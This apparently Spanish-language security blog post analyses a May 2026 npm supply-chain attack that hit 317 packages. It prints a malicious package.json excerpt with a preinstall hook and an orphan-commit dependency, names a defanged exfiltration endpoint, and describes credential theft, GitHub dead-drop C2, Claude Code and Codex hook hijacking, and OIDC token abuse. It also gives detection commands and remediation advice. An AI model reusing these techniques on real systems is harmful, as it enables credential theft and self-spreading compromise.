⏱️ Lectura: 16 min
El 19 de mayo de 2026, entre las 01:44 y las 02:06 UTC, la cuenta npm atool publicó 637 versiones maliciosas distribuidas en 317 paquetes. Veintidós minutos. Una ráfaga automatizada que llevó a uno de los compromisos más grandes del registro npm en lo que va del año, y que la firma SafeDep atribuye al operador detrás de Mini Shai-Hulud: el mismo toolkit modular usado tres semanas antes contra la cadena de suministro de SAP.
📑 En este artículo
- TL;DR
- Qué pasó: 637 versiones maliciosas en 22 minutos
- Contexto: la conexión con Mini Shai-Hulud y el ataque a SAP
- Anatomía del payload Bun de 498KB
- El truco de las imposter commits en antvis/G2
- Hijacking de Claude Code, Codex y VS Code
- Persistencia y C2 vía GitHub dead-drop
- Doble exfiltración: Git objects y OpenTelemetry falso
- OIDC en CI y firma Sigstore con identidad robada
- Cómo saber si te afecta y qué hacer
- Qué sigue: la cadena de suministro npm en 2026
- Preguntas frecuentes
- Referencias
Entre las víctimas hay paquetes que descargan millones por mes: size-sensor (4.2M/mes), echarts-for-react (3.8M), @antv/scale (2.2M), timeago.js (1.15M) y prácticamente todo el namespace @antv. Si tu proyecto usa rangos semver permisivos (^3.0.6, ~1.x), tu CI ya pudo haber instalado el payload.
TL;DR
- El 19 de mayo de 2026, la cuenta npm ‘atool’ publicó 637 versiones maliciosas en 317 paquetes en una ráfaga automatizada de 22 minutos.
- Entre los paquetes afectados: size-sensor (4.2M descargas/mes), echarts-for-react (3.8M), @antv/scale (2.2M) y timeago.js (1.15M).
- Payload: script Bun ofuscado de 498KB que reutiliza el toolkit Mini Shai-Hulud detectado 3 semanas antes en el ataque a SAP.
- Roba credenciales AWS, GCP, Azure, GitHub PATs, npm tokens, SSH, Docker, Kubernetes, Vault y vaults locales (1Password, Bitwarden).
- Secuestra Claude Code y Codex inyectando SessionStart hooks; VS Code mediante tasks.json con runOn folderOpen.
- Persistencia con servicios systemd (kitty-monitor) que reciben comandos vía dead-drop en commits GitHub firmados con RSA-PSS.
- Doble exfiltración: Git objects en repos GitHub públicos y POSTs HTTPS cifrados con RSA+AES a t.m-kosche[.]com como OpenTelemetry.
- En CI, intercambia tokens OIDC de GitHub Actions por tokens de publicación npm y firma con Sigstore usando la identidad robada.
Qué pasó: 637 versiones maliciosas en 22 minutos
La línea de tiempo es brutalmente corta. A las 01:44 UTC del 19 de mayo, el primer paquete comprometido apareció en el registro npm bajo la cuenta atool. A las 02:06 UTC ya había 637 versiones nuevas publicadas en 317 paquetes distintos. No hubo intervalo entre versiones consistente con publicación humana: el atacante automatizó la cosecha de paquetes propiedad de la cuenta y empujó versiones con el payload inyectado prácticamente al mismo tiempo.
Cada versión maliciosa hace dos cosas mínimas en el package.json: agrega un script preinstall que ejecuta bun run index.js, y en 630 de los 637 casos también inyecta una entrada en optionalDependencies apuntando a un commit huérfano dentro de antvis/G2. Esa segunda capa es lo que hace al ataque resistente: aunque bloquees scripts preinstall con --ignore-scripts, npm sigue descargando el contenido del commit referenciado por SHA y, dependiendo de la configuración, puede terminar ejecutándolo igual.
⚠️ Ojo: Si tu lockfile (package-lock.json,pnpm-lock.yaml,yarn.lock) fue regenerado entre el 19 y el 20 de mayo y tu árbol de dependencias toca@antv/*,echarts-for-react,size-sensorotimeago.js, asumí compromiso y rotá credenciales antes de hacer nada más.
Contexto: la conexión con Mini Shai-Hulud y el ataque a SAP
El nombre Mini Shai-Hulud no es nuevo. SafeDep ya lo había catalogado tres semanas antes, cuando un actor con el mismo perfil técnico comprometió varios paquetes internos de SAP. La conexión entre los dos eventos es difícil de discutir: el binario decompilado muestra el mismo escáner de credenciales, las mismas expresiones regulares para detectar tokens, la misma técnica de ofuscación basada en sustitución de strings con array indexing, y los mismos artefactos de logging deshabilitados.
La diferencia entre el ataque a SAP y este es de escala y de blanco. SAP era un objetivo selectivo, con probable interés en pivoting hacia infraestructura corporativa. Este compromiso es opuesto: el atacante quema una cuenta de mantenedor con paquetes muy descargados, sabiendo que tendrá horas (no días) antes de que npm intervenga, y maximiza el alcance instalando malware en miles de pipelines CI/CD simultáneamente.
Es el patrón Shai-Hulud original llevado al límite: ataque masivo, automatizado, sin discreción, monetizando la velocidad. La cuenta atool probablemente cayó por phishing, robo de OTP o reuso de contraseñas — el detalle exacto no se ha publicado, pero el modelo de amenaza implícito es claro: cualquier cuenta de mantenedor sin 2FA hardware es un vector explotable.
Anatomía del payload Bun de 498KB
El payload es un único archivo index.js de 498KB, ofuscado para ejecutarse bajo Bun (no Node). La elección de Bun es estratégica: Bun ejecuta TypeScript y JavaScript sin transpilación, tiene un parser más permisivo con strings ofuscadas, y muchos sistemas de detección estática están afinados para patrones Node clásicos. Si Bun no está disponible en el sistema, el preinstall instala primero la última release de bun desde el sitio oficial y luego ejecuta el payload.
Desde el punto de vista arquitectónico, el malware tiene cinco módulos:
- Bootstrapper — Verifica entorno (Linux/macOS/Windows), instala Bun si falta, monta los demás módulos.
- Escáner de credenciales — Recorre el sistema buscando tokens, claves y vaults conocidos.
- Persistencia — Instala servicios
systemd/LaunchAgents y hooks de IDE/AI. - Exfiltración — Empaqueta los hallazgos y los envía por dos canales paralelos.
- Propagación — Infecta otros proyectos Node locales y, si hay socket Docker, intenta escapar del contenedor.
Lo que distingue a Mini Shai-Hulud del malware npm anterior no es su tamaño (498KB es grande, pero no descomunal), sino la cobertura del escáner. Busca, entre otras cosas:
- La cadena completa de credenciales AWS: variables de entorno, archivos
~/.aws/credentials, metadata IMDS de EC2, metadata de contenedores ECS y secretos de AWS Secrets Manager. - Service account tokens de Kubernetes en
/var/run/secrets/kubernetes.io. - Tokens de HashiCorp Vault desde
~/.vault-token. - Personal Access Tokens de GitHub y tokens de publicación de npm.
- Claves SSH privadas y configuración de Docker (
~/.docker/config.json). - Vaults locales de gestores de contraseñas: 1Password, Bitwarden,
passygopass. - Strings que parezcan API keys de Stripe, tokens de Slack y connection strings de bases de datos.
El truco de las imposter commits en antvis/G2
El detalle técnico más interesante del ataque es cómo el payload sobrevive al bloqueo de scripts preinstall. La técnica usa una propiedad poco conocida de Git y GitHub: los objetos compartidos entre forks.
Cuando hacés fork de un repo en GitHub, internamente Git no copia los objetos: el fork comparte el storage con el upstream. Si vos pusheás un commit a tu fork con un SHA específico, ese objeto queda accesible también vía el upstream usando ese SHA, siempre que GitHub no haya hecho garbage collection todavía. El atacante explotó esto pusheando commits huérfanos con autoría forjada (aparentaban venir de mantenedores legítimos de AntV) a un fork de antvis/G2, y luego referenciando esos SHAs desde las dependencias maliciosas:
{
"name": "echarts-for-react",
"version": "3.0.7",
"scripts": {
"preinstall": "bun run index.js"
},
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}
}
El usuario que instala [email protected] ve una dependencia que apunta al repo oficial de antvis/G2. Si revisa el repo en GitHub, ese commit no aparece en ninguna branch — es huérfano. Pero npm, al resolver github:antvis/G2#<sha>, descarga el árbol de archivos del commit. Y ese árbol contiene otra copia del payload.
💭 Clave: El atacante nunca tuvo acceso de escritura a antvis/G2. Usó GitHub como CDN no autorizado, aprovechando que los objetos de Git son inmutables y direccionables por hash. La técnica ya se había documentado en investigaciones previas de Truffle Security, pero es la primera vez que aparece en un ataque masivo de npm.
Tres SHAs huérfanos se identificaron: 1916faa3 (626 versiones), 7cb42f57 (2 versiones) y dc3d62a2 (1 versión, ya garbage collected por GitHub). El proyecto AntV no tiene forma de eliminar esos objetos directamente: necesita coordinar con GitHub para forzar un GC del repo upstream.
Hijacking de Claude Code, Codex y VS Code
El módulo que más debería preocupar a desarrolladores que usan agentes de IA es el de persistencia en herramientas de programación asistida. El payload instala lo siguiente:
- Claude Code: agrega un
SessionStarthook en la configuración del proyecto que re-ejecuta el payload cada vez que abrís una sesión. El hook está escrito para no aparecer en los archivos visibles del proyecto y aprovecha que Claude Code respeta hooks sin pedir confirmación cuando ya estaban presentes al iniciar. - Codex: misma técnica con los hooks equivalentes del CLI de OpenAI.
- VS Code: inyecta un
.vscode/tasks.jsoncon una tarea cuya propiedad"runOn": "folderOpen"ejecuta el bootstrapper en background al abrir el folder.
En todos los casos el bootstrapper también pushea los cambios a cualquier repo accesible con el token GitHub robado, propagando la infección. Esto es lo que convierte un compromiso individual en infección persistente y autoreplicante.
Persistencia y C2 vía GitHub dead-drop
La persistencia a nivel sistema operativo usa dos demonios distintos. En Linux son servicios systemd de usuario; en macOS son LaunchAgents:
kitty-monitor— Polea la API de search de commits de GitHub una vez por hora buscando mensajes con la palabra clavefiredalazer. El cuerpo del commit incluye una URL y una firma RSA-PSS del atacante. Si la firma verifica con la clave pública embebida en el payload, descarga el archivo Python referenciado y lo ejecuta. Es un canal de C2 sin servidor propio, sin DNS sospechoso, indistinguible del tráfico legítimo aapi.github.com.gh-token-monitor— Polea cada 60 segundos los tokens GitHub robados para validar que siguen activos, y los reporta de vuelta al atacante si cambian de estado o permisos.
El dead-drop por commit-search es elegante: GitHub indexa todos los commits públicos del mundo, y la API de search es legítima y gratuita. El atacante simplemente pushea un commit (a cualquier repo, propio o robado) con el mensaje correcto y todos los hosts infectados lo encuentran y ejecutan en la siguiente hora. No requiere infraestructura C2 dedicada, no se cae con un takedown DNS, y las firmas RSA garantizan que solo el atacante puede emitir comandos.
Doble exfiltración: Git objects y OpenTelemetry falso
Los datos robados salen por dos canales en paralelo, por redundancia:
- Repos GitHub públicos creados con el token robado. El payload commitea los hallazgos como Git objects con el User-Agent forjado como
python-requests/2.31.0para mezclarse con tráfico de bots legítimos. Los repos tienen nombres con temática de la novela Duna (de ahí el nombre Shai-Hulud). - POSTs HTTPS cifrados a
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces. La ruta imita el endpoint estándar de ingestión de traces de OpenTelemetry, los headers también, y el contenido va cifrado con AES (clave envuelta con RSA). A simple vista, en un SIEM, parece tráfico legítimo de observabilidad.
graph LR
A[Cuenta atool comprometida] --> B["637 versiones en 22 min"]
B --> C["preinstall: bun run index.js"]
B --> D["optionalDependencies: antvis/G2#sha"]
C --> E[Payload Bun 498KB]
D --> E
E --> F[Roba credenciales]
E --> G[Hijack IDE/AI]
E --> H[Persistencia OS]
F --> I["Exfil Git + HTTPS"]
G --> I
H --> J[C2 GitHub dead-drop]
OIDC en CI y firma Sigstore con identidad robada
En pipelines GitHub Actions, el payload hace algo particularmente nefasto. Aprovecha que el runner ya tiene un token OIDC del workflow corriente, lo intercambia por un token de publicación npm vía el endpoint OIDC de npm, y desde ahí puede publicar versiones nuevas con la identidad del pipeline atacado. Como bonus, firma los artefactos con Sigstore usando el mismo token OIDC: Fulcio emite un certificado de identidad legítimo, Rekor registra la firma, y los consumidores que verifiquen provenance ven una cadena criptográficamente válida que dice “esto fue publicado por tu pipeline”.
El módulo de CI también inyecta persistencia en el repo: un workflow .github/workflows/codeql.yml falso (nombrado “Run Copilot” para confundir reviewers) que en una ejecución dumpea toJSON(secrets) como artifact, y después se auto-borra: elimina la run y resetea la branch. Si nadie estaba mirando, no queda traza visible en la UI de GitHub Actions.
Cómo saber si te afecta y qué hacer
Asumí compromiso si entre el 19 y el 20 de mayo de 2026 tu CI o tu dev environment instaló alguno de los paquetes afectados con una versión publicada en esa ventana. La lista completa está en el reporte de SafeDep. Los más críticos:
size-sensorecharts-for-react@antv/scale,@antv/g2,@antv/g6, y casi todo@antv/*timeago.js
Pasos mínimos si sospechás compromiso:
# Linux / macOS / Windows (WSL)
# 1. Detectar el preinstall malicioso en el lockfile
grep -r "bun run index.js" node_modules/ package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
# 2. Buscar persistencia systemd / launchd
systemctl --user list-units | grep -E "kitty-monitor|gh-token-monitor"
launchctl list 2>/dev/null | grep -E "kitty-monitor|gh-token-monitor"
# 3. Revisar hooks de Claude Code en cada proyecto
find . -name ".claude" -type d -exec ls -la {} \;
# 4. Revisar tasks.json sospechosos en VS Code
find . -path "*/.vscode/tasks.json" -exec grep -l "folderOpen" {} \;
Después: rotar inmediatamente tokens npm, GitHub PATs, claves AWS, kubeconfig contexts y cualquier credencial accesible desde la máquina o el runner afectado. Borrar lockfiles, reinstalar desde versiones limpias confirmadas (anteriores al 19 de mayo o posteriores a la limpieza del registro por parte del equipo de npm).
Qué sigue: la cadena de suministro npm en 2026
Mini Shai-Hulud es la tercera campaña masiva de supply chain en npm en lo que va de 2026, después del compromiso de TanStack (84 versiones maliciosas en 42 paquetes) y de la operación atribuida a Corea del Norte que infectó 1,700 paquetes entre npm, PyPI, Go y Rust. La frecuencia ya no permite tratar estos eventos como excepciones: son parte del costo operativo de mantener un ecosistema open source con baja fricción de publicación.
Las defensas estructurales que el ecosistema necesita ya están técnicamente disponibles, solo falta adopción: 2FA hardware obligatorio para mantenedores con paquetes de alto impacto, attestation con Sigstore activa por defecto, time-delay entre publicación y disponibilidad para descarga masiva, y mejor detección de dependencias github: apuntando a commits huérfanos. Mientras tanto, la responsabilidad inmediata cae en cada equipo: lockfiles con hashes, --ignore-scripts en CI, y revisión manual antes de actualizar paquetes con permisos sensibles.
📖 Resumen en Telegram: Ver resumen
Preguntas frecuentes
¿Qué es Mini Shai-Hulud y por qué se llama así?
Mini Shai-Hulud es el nombre que SafeDep le dio a un toolkit modular de malware npm detectado por primera vez en el compromiso de SAP en abril de 2026. El nombre hace referencia al gusano gigante de la novela Duna, en línea con la convención del propio atacante de nombrar los repos de exfiltración con términos de ese universo.
¿Tengo que rotar todas mis credenciales si instalé un paquete afectado?
Sí, asumiendo compromiso total. El payload extrae la cadena completa de credenciales de la máquina o runner: AWS, GCP, Azure, GitHub PATs, tokens npm, SSH keys, kubeconfig, tokens Vault y vaults de gestores de contraseñas locales. Cualquier credencial accesible desde ese entorno debe considerarse expuesta.
¿--ignore-scripts me protege?
Solo parcialmente. Bloquea la ejecución del preinstall con bun run index.js, pero NO bloquea la resolución de optionalDependencies que apunta al commit huérfano en antvis/G2. Dependiendo de la configuración del package manager, ese contenido aún puede terminar en node_modules/ y ejecutarse cuando algún otro módulo lo importe.
¿Cómo verifico si los hooks de Claude Code de mi proyecto fueron tocados?
Revisá manualmente .claude/settings.json y .claude/hooks/ en cada proyecto, comparando con tu historial git. Un hook SessionStart que no recordás haber creado, especialmente si invoca bun o ejecuta un archivo no obvio, es señal de compromiso.
¿Por qué Bun en lugar de Node?
Bun ejecuta TypeScript y código moderno sin transpilación, tiene mayor tolerancia a sintaxis no estándar (importante con código ofuscado), y los sistemas EDR/SAST suelen estar más afinados para detectar patrones Node clásicos. Además, el bootstrapper instala Bun si no está presente, garantizando la ejecución del payload.
¿npm ya removió los paquetes afectados?
Sí. El equipo de seguridad de npm despublicó las versiones maliciosas dentro de las horas siguientes al reporte e invalidó los tokens de la cuenta atool. Pero el daño ya estaba hecho: cualquier CI/CD que corrió entre el 19 y el 20 de mayo y resolvió esos paquetes con rangos semver permisivos pudo haber instalado el payload.
Referencias
- SafeDep — Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised — Reporte original con IoCs completos, SHA256 del payload y lista de paquetes afectados.
- github.com/antvis/G2 — Repo legítimo de AntV usado por el atacante como host no autorizado de imposter commits.
- npm Docs — package.json reference — Documentación oficial de
optionalDependenciesy resolución de dependenciasgithub:. - Sigstore — Sistema de firma de artefactos basado en OIDC abusado por el payload en pipelines CI.
- Bun — Runtime JavaScript/TypeScript usado por el payload por su tolerancia a código ofuscado y bajo footprint de detección.
📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.
0 Comentarios